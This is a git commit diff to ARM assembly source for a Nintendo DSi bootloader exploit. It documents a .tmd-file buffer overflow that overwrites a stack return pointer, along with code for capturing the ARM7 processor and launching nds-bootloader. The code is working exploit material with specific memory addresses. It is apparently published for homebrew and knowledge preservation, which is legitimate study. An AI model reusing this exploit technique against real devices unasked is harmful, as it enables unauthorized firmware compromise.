added more documentation within the code

cleaned up a little
removed the delays/colored screens that were used to debug
This commit is contained in:
Tim Seidel 2021-04-08 11:46:46 +02:00
parent bd48782914
commit 72f05cca16

View File

@ -3,6 +3,65 @@
.syntax unified .syntax unified
################################################################################
# #
# Overview of the exploit: #
# #
# The DSi starts with a bootloader from ROM (stage1) that loads an #
# encrypted stage2 bootloader from the eMMC chip inside the DSi #
# #
# This bootloader will locate and execute the nintendo app-launcher #
# #
# While the stage2 locates the app-launcher it checks the .tmd file in #
# content folder for the launcher to find the app filename. #
# #
# This is done by retreiving the file length and then reading all of its #
# bytes to a fixed address buffer without checking if the buffer csan hold #
# all that data. #
# #
# This exploit utilizes the buffer overflow to change a structure located #
# after the buffer to overwrite a return pointer on the stack. #
# - See Section EXPLOIT near the end #
# #
# The execution on the arm9 then continues at Section Actual Payload #
# #
# To gain control of the arm7 from the arm9 we use the IWRAM Control #
# - See section Gain control of ARM7 #
# to capture the execution flow of the arm7 and jump to an arm7 payload #
# - See section ARM7 Payload #
# #
# In the last step, the arm7 is made to execute nds-bootloader from VRAM #
# while the arm9 waits in the original passme loop #
# #
# nds-bootloader then will do its thing and execute the configured .nds #
# #
################################################################################
@ Written by Tim 'MightyMax' Seidel, 2021
@ Thank you to all the great ppl of the community that lead to understanding
@ the DSi as we do now.
@
@ This code was written after learning, that the .tmd file could cause a buffer
@ overflow. Unlaunch was not reverse engineered for this. It is likely unalunch
@ uses the same exploit gadget, but it also could be a different one caused
@ by the very same bug (there are multiple structures overwritten by the tmd)
@
@ The arm7 capture took me the most time. There possibly is an easier method
@ but the IWRAM method works very relyable and even could be reversed, so that
@ the stage2 could restart execution, if the .tmd length bug was patched
@
@ I chosed the easier way of just using the existing nds-bootloader from
@ devkitPro
@
@ This code is to keep the knowledge open sourced. It is no 'product' or fully
@ completed tool for your DSi. But such a product can be derived from this work.
@
@ Martin 'no$cash' Korth originally developed the unlaunch exploit and polished
@ a very well tested and working tool to mod your DSi and shall be used if you
@ wanted to use the unlaunch exploit for moddign the DSi.
@ In case unlaunch will be gone some time. This source code would allow you to
@ recreate something alike.
############################### ###############################
# Constants # # Constants #
############################### ###############################
@ -14,8 +73,11 @@
.equ TMD_WRITEOFFSET ,0x00000078 .equ TMD_WRITEOFFSET ,0x00000078
.equ TMD_WRITEPOINTER ,0x037F3878 .equ TMD_WRITEPOINTER ,0x037F3878
.equ TMD_STACKRETURN ,0x02FE3558 .equ TMD_STACKRETURN ,0x02FE3558
.equ HWREG_BASE ,0x04000000 .equ PASSME_ADDRESS ,0x02FFFE04
.equ PALETTE_BASE ,0x05000000 .equ PASSME_INSTRUCTION ,0xE59FF018
.equ VRAM_ENTRY ,0x06000000
.equ VRAM_LCDADDR ,0x06840000
.equ MRAM_ADDRESS ,0x02000000
# The exploited code is arm32 # The exploited code is arm32
# We could make it return to thumb code but for simplicity all code within here # We could make it return to thumb code but for simplicity all code within here
@ -42,85 +104,52 @@ _start:
# Fill until payload with AA # # Fill until payload with AA #
############################## ##############################
@ When filling we use a pattern that is easily
@ recognizable. Clearly "AAAAAAAA" stands out in hex view
# .org (0x037f0000 - SECTIONBASE), 0xAA # .org (0x037f0000 - SECTIONBASE), 0xAA
############################## ##############################
# ! Actual Payload ! # # ! Actual Payload ! #
############################## ##############################
# This example payload was borowed from BrokenPit and modified
# It will alternate the top screen between green and blue
# with some delay between
setScreenColored:
push {r0}
mov r0, HWREG_BASE
mov r1, #0
str r1, [r0, #0x208]
str r1, [r0, #0x210]
ldr r2, [r0, #0x214]
str r2, [r0, #0x214]
mov r2, #(1<<16)
str r2, [r0]
str r1, [r0, #0x60]
str r1, [r0, #0x6C] @ MASTER_BRIGHT FIX by Normmatt
mov r0, PALETTE_BASE
pop {r1}
strh r1, [r0]
bx lr
delay:
mov r0, #0x00500000 @ time to wait
delayloop:
subs r0, r0, #1 @ subtract 1
bne delayloop @ jump back if not zero
bx lr @ return
entry: entry:
BL captureARM7
mainLoop: @ With the exploit we got control of the arm9 meaning it executes this code right
mov r0, #0xFC00 @ now. But we do not have control of the arm7 running in IWRAM owe have no
BL setScreenColored @ direct control to
BL delay @ We change that and captur the arm7 execution
mov r0, #0x03C0
BL setScreenColored BL captureARM7 @ make the arm7 to execute the arm7 payload
BL delay
# B mainLoop @ Set up the passme loop. This was one of the first (or the very first?) exploit
ldr r0, passmeAddress @ for the NDS using the loaded NDS header to create a loop that executes within
@ this .nds file header.
@ the nds-bootloader uses this loop to control the arm9 from within the arm7, by
@ changing the arm9 entry point and the loop then branching to the new location
ldr r0, passmeAddress @ set up the passmeLoop
ldr r1, passmeInstruction ldr r1, passmeInstruction
str r1, [r0] str r1, [r0]
str r0, [r0, #0x20] str r0, [r0, #0x20]
mov r2, #0x02000000
ldr r1, [r2, #4] @ since we have the arm7 now in a loop (see the arm7 payload) we can control,
str r1, [r2] @ we let it jump to the nds-bootloader in VRAM now by changing the branch target
@ in the arm7 waiting loop
mov r2, MRAM_ADDRESS
ldr r1, [r2, (arm7PayloadWait - arm7PayloadStart) + 4]
str r1, [r2, (arm7PayloadWait - arm7PayloadStart)]
@ and finally branching ourself to the passme loop. We are Done.
@ nds-bootloader takes over!
BX r0 BX r0
passmeAddress: passmeAddress:
.word 0x02FFFE04 .word PASSME_ADDRESS
passmeInstruction: passmeInstruction:
.word 0xE59FF018 .word PASSME_INSTRUCTION
##############################
# Patches for the stag2 to #
# run other DSi Paths #
##############################
srlFilenameBuffer:
.word 0x02ffdfc0
@ the following address points to the branch that resolves the filename to
@ load by teh stage 2 bootloader. By replacing this with a NOP we could
@ pass a srl file name to load from the payload
filenamePatchLocation:
.word 0x037b8b74
filenamePatchInstruction:
B . + 4
checkHeaderPatchLocation:
.word 0x037b8bb8
checkHeaderPatchInstruction:
B . + 4
############################## ##############################
# Gain control of ARM7 # # Gain control of ARM7 #
@ -139,7 +168,7 @@ copyPayload:
@ Copy arm7 and arm9 main ram payload to main ram @ Copy arm7 and arm9 main ram payload to main ram
adr r0, arm7PayloadStart adr r0, arm7PayloadStart
adr r1, arm7PayloadEnd adr r1, arm7PayloadEnd
mov r2, #0x02000000 mov r2, MRAM_ADDRESS
copyPayloadLoop: copyPayloadLoop:
ldr r3, [r0], #4 ldr r3, [r0], #4
str r3, [r2], #4 str r3, [r2], #4
@ -175,16 +204,6 @@ getWRAMPage:
str r1,[r0] str r1,[r0]
ldr r1, dataMBK5_ARM9Ctrl ldr r1, dataMBK5_ARM9Ctrl
str r1,[r0, #4] str r1,[r0, #4]
backupData:
@ Save the code that was on this page in main ram for later recovery
mov r0, 0x8000
mov r1, 0x03800000
mov r2, 0x02100000
backupLoop:
ldr r3, [r1],#4
str r3, [r2],#4
subs r0, r0, #4
bne backupLoop
clearPage: clearPage:
@ Clear with B self (for now to see where we are) @ Clear with B self (for now to see where we are)
mov r0, 0x8000 mov r0, 0x8000
@ -205,21 +224,13 @@ postPage:
str r1,[r0] str r1,[r0]
str r2,[r0, #4] str r2,[r0, #4]
waitTillWeAreSureArm7IsCaptured: waitTillWeAreSureArm7IsCaptured:
BL delay ldr r0, passmeAddress
restoreBackup: mov r1, #0x80000000
ldr r0, addrMBK4 ldr r2, [r0, #-4]
ldr r1, dataMBK4_ARM9Ctrl cmp r2, r1
str r1,[r0] bne waitTillWeAreSureArm7IsCaptured
ldr r1, dataMBK5_ARM9Ctrl mov r1, #0x00000000
str r1,[r0, #4] str r1, [r0, #-4]
mov r0, 0x8000
mov r1, 0x03800000
mov r2, 0x02100000
restoreLoop:
ldr r3, [r2],#4
str r3, [r1],#4
subs r0, r0, #4
bne restoreLoop
restoreOrigPages: restoreOrigPages:
ldr r0, addrMBK4 ldr r0, addrMBK4
ldr r1, dataMBK4_Restore ldr r1, dataMBK4_Restore
@ -248,8 +259,6 @@ dataMBK5_Restore:
.word 0x9D999591 .word 0x9D999591
dataMBK8: dataMBK8:
.word 0x08803800 .word 0x08803800
codeBranchSelf:
.word 0xEAFFFFFE
regVRAMC: regVRAMC:
.word 0x04000242 .word 0x04000242
VRAMC_LCD: VRAMC_LCD:
@ -257,10 +266,10 @@ VRAMC_LCD:
VRAMC_ARM7: VRAMC_ARM7:
.word 0x00000082 .word 0x00000082
VRAMC_ADDR: VRAMC_ADDR:
.word 0x06840000 .word VRAM_LCDADDR
nopSlide: nopSlide:
mov r0, #0x02000000 mov r0, MRAM_ADDRESS
nopSlideEnd: nopSlideEnd:
BX r0 BX r0
@ -268,18 +277,30 @@ nopSlideEnd:
# ARM7 Payload # # ARM7 Payload #
############################## ##############################
@ Create the passme loop and jump to it @ The arm7 payload is quite simple.
@ We will flag a value, that we have entered the payload (so the arm9 knows for
@ sure when to continue)
@ and after that we will wait in a branch to self loop to wait for the arm9
@ to tell us to continue by copying the following instruction over the branch
arm7PayloadStart: arm7PayloadStart:
b . ldr r0, passmeAddressArm7
mov pc, #0x06000000 mov r1, #0x80000000
str r1, [r0, #-4]
arm7PayloadWait:
b arm7PayloadWait
mov pc, VRAM_ENTRY
passmeAddressArm7:
.word PASSME_ADDRESS
arm7PayloadEnd: arm7PayloadEnd:
@ We load the VRAM with the nds-bootloader code
@ This code was generated with https://github.com/devkitPro/nds-bootloader
@ using the compiler flag NO_DLDI to load the boot.nds from the DSi SD Card Slot
VRAMPayloadStart: VRAMPayloadStart:
.incbin "nds_bootloader.bin" .incbin "nds_bootloader.bin"
VRAMPayloadEnd: VRAMPayloadEnd:
B .
############################## ##############################
# EXPLOIT # # EXPLOIT #